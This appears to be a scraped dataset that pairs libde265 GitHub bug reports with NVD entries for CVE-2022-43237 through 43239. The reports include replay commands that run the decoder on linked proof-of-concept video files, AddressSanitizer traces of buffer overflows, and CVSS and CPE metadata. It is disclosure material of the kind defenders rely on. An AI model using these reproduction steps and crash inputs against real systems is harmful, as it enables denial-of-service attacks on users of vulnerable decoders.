Stack-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x14bef2) in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc9-1
./dec265/dec265 poc9-2
./dec265/dec265 poc9-3
./dec265/dec265 poc9-4
```
### ASAN
```Shell
WARNING: pps header invalid
WARNING: CTB outside of image area (concealing stream error...)
WARNING: maximum number of reference pictures exceeded
WARNING: faulty reference picture list
WARNING: non-existing PPS referenced
WARNING: faulty reference picture list
=================================================================
==18325==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd5f83a761 at pc 0x7f031a7b3ef3 bp 0x7ffd5f838110 sp 0x7ffd5f838100
READ of size 2 at 0x7ffd5f83a761 thread T0
#0 0x7f031a7b3ef2 in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int) (/libde265/build/libde265/liblibde265.so+0x14bef2)
#1 0x7f031a7af248 in put_qpel_2_1_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int) (/libde265/build/libde265/liblibde265.so+0x147248)
#2 0x7f031a7df40d in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x17740d)
#3 0x7f031a7e08ab in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1788ab)
#4 0x7f031a7d1995 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169995)
#5 0x7f031a7de90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#6 0x7f031a8197e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#7 0x7f031a81b264 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3264)
#8 0x7f031a81c250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#9 0x7f031a813726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#10 0x7f031a81c9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#11 0x7f031a81e70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#12 0x7f031a77d6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#13 0x7f031a77dec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#14 0x7f031a77cc0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#15 0x7f031a77c93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#16 0x7f031a77f43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#17 0x7f031a77fab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#18 0x7f031a766e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#19 0x5564657f6bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#20 0x7f031a298c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#21 0x5564657f49b9 in _start (/libde265/build/dec265/dec265+0x49b9)
Address 0x7ffd5f83a761 is located in stack of thread T0 at offset 9121 in frame
#0 0x7f031a7dffb7 in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x177fb7)
This frame has 2 object(s):
[32, 9120) 'mcbuffer' <== Memory access at offset 9121 overflows this variable
[9152, 14832) 'padbuf'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x14bef2) in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int)
Shadow bytes around the buggy address:
0x10002beff490: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10002beff4e0: 00 00 00 00 00 00 00 00 00 00 00 00[f2]f2 f2 f2
0x10002beff4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002beff530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18325==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc9-1
https://github.com/FDU-Sec/poc/blob/main/libde265/poc9-2
https://github.com/FDU-Sec/poc/blob/main/libde265/poc9-3
https://github.com/FDU-Sec/poc/blob/main/libde265/poc9-4
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Stack-buffer-overflow in fallback-motion.cc: void put_qpel_fallback<unsigned short>
|
https://api.github.com/repos/strukturag/libde265/issues/343/comments
| 2 |
2022-10-10T15:01:43Z
|
2023-01-24T16:05:16Z
|
https://github.com/strukturag/libde265/issues/343
| 1,403,319,141 | 343 |
CVE-2022-43237
|
2022-11-02T14:15:12.827
|
Libde265 v1.0.8 was discovered to contain a stack-buffer-overflow vulnerability via void put_epel_hv_fallback<unsigned short> in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/344"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/344
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Stack-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x148bb1) in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc10-1
./dec265/dec265 poc10-2
./dec265/dec265 poc10-3
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: CTB outside of image area (concealing stream error...)
=================================================================
==49284==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd5d1376e1 at pc 0x7fc6e4cc7bb2 bp 0x7ffd5d134ea0 sp 0x7ffd5d134e90
READ of size 2 at 0x7ffd5d1376e1 thread T0
#0 0x7fc6e4cc7bb1 in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int) (/libde265/build/libde265/liblibde265.so+0x148bb1)
#1 0x7fc6e4cf60de in acceleration_functions::put_hevc_epel_h(short*, long, void const*, long, int, int, int, int, short*, int) const (/libde265/build/libde265/liblibde265.so+0x1770de)
#2 0x7fc6e4cf8ca2 in void mc_chroma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x179ca2)
#3 0x7fc6e4ce8e2e in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169e2e)
#4 0x7fc6e4cf590f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7fc6e4d307e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7fc6e4d32469 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3469)
#7 0x7fc6e4d33250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7fc6e4d2a726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#9 0x7fc6e4d339ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#10 0x7fc6e4d3570f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#11 0x7fc6e4c946d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#12 0x7fc6e4c94ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#13 0x7fc6e4c93c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#14 0x7fc6e4c9393d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#15 0x7fc6e4c9643e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#16 0x7fc6e4c96ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#17 0x7fc6e4c7de95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#18 0x56089bc03bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#19 0x7fc6e47afc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#20 0x56089bc019b9 in _start (/libde265/build/dec265/dec265+0x49b9)
Address 0x7ffd5d1376e1 is located in stack of thread T0 at offset 9121 in frame
#0 0x7fc6e4cf83b8 in void mc_chroma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1793b8)
This frame has 2 object(s):
[32, 9120) 'mcbuffer' <== Memory access at offset 9121 overflows this variable
[9152, 14512) 'padbuf'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x148bb1) in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
Shadow bytes around the buggy address:
0x10002ba1ee80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1ee90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1eea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1eeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1eec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10002ba1eed0: 00 00 00 00 00 00 00 00 00 00 00 00[f2]f2 f2 f2
0x10002ba1eee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1eef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1ef10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002ba1ef20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==49284==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc10-1
https://github.com/FDU-Sec/poc/blob/main/libde265/poc10-2
https://github.com/FDU-Sec/poc/blob/main/libde265/poc10-3
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Stack-buffer-overflow in fallback-motion.cc: void put_epel_hv_fallback<unsigned short>
|
https://api.github.com/repos/strukturag/libde265/issues/344/comments
| 2 |
2022-10-10T15:06:43Z
|
2023-01-24T16:05:06Z
|
https://github.com/strukturag/libde265/issues/344
| 1,403,327,299 | 344 |
CVE-2022-43238
|
2022-11-02T14:15:12.990
|
Libde265 v1.0.8 was discovered to contain an unknown crash via ff_hevc_put_hevc_qpel_h_3_v_3_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/336"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/336
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
SUMMARY: AddressSanitizer: unknown-crash (/libde265/build/libde265/liblibde265.so+0x28fa79) in ff_hevc_put_hevc_qpel_h_3_v_3_sse(short*, long, unsigned char const*, long, int, int, short*)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc2
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: CTB outside of image area (concealing stream error...)
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: pps header invalid
WARNING: non-existing PPS referenced
WARNING: pps header invalid
WARNING: slice header invalid
WARNING: pps header invalid
=================================================================
==35433==ERROR: AddressSanitizer: unknown-crash on address 0x7f812fbf9806 at pc 0x7f812e8b6a7a bp 0x7fffdae90350 sp 0x7fffdae90340
READ of size 16 at 0x7f812fbf9806 thread T0
#0 0x7f812e8b6a79 in ff_hevc_put_hevc_qpel_h_3_v_3_sse(short*, long, unsigned char const*, long, int, int, short*) (/libde265/build/libde265/liblibde265.so+0x28fa79)
#1 0x7f812e79e37d in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x17737d)
#2 0x7f812e79f8ab in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1788ab)
#3 0x7f812e790995 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169995)
#4 0x7f812e79d90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7f812e7d87e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7f812e7da3fe in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b33fe)
#7 0x7f812e7db250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7f812e7db163 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4163)
#9 0x7f812e7db163 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4163)
#10 0x7f812e7d2726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#11 0x7f812e7db9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#12 0x7f812e7dd70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#13 0x7f812e73c6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#14 0x7f812e73cec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#15 0x7f812e73bc0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#16 0x7f812e73b93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#17 0x7f812e73e43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#18 0x7f812e73eab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#19 0x7f812e725e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#20 0x55b9f5596bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#21 0x7f812e257c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#22 0x55b9f55949b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x7f812fbf9810 is located 0 bytes to the right of 131088-byte region [0x7f812fbd9800,0x7f812fbf9810)
allocated by thread T0 here:
#0 0x7f812ec4e790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f812e7771cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f812e77792a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7f812e779d1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f812e75e0cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f812e73f824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f812e742332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7f812e745d70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f812e73b246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f812e73e43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f812e73eab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f812e725e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x55b9f5596bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f812e257c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: unknown-crash (/libde265/build/libde265/liblibde265.so+0x28fa79) in ff_hevc_put_hevc_qpel_h_3_v_3_sse(short*, long, unsigned char const*, long, int, int, short*)
Shadow bytes around the buggy address:
0x0ff0a5f772b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0a5f772c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0a5f772d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0a5f772e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0a5f772f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff0a5f77300:[00]00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff0a5f77310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff0a5f77320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff0a5f77330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff0a5f77340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff0a5f77350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==35433==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc2
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Unknown crash in sse-motion.cc: ff_hevc_put_hevc_qpel_h_3_v_3_sse
|
https://api.github.com/repos/strukturag/libde265/issues/336/comments
| 2 |
2022-10-10T14:04:51Z
|
2023-01-24T16:06:16Z
|
https://github.com/strukturag/libde265/issues/336
| 1,403,236,062 | 336 |
CVE-2022-43239
|
2022-11-02T14:15:13.140
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via mc_chroma<unsigned short> in motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
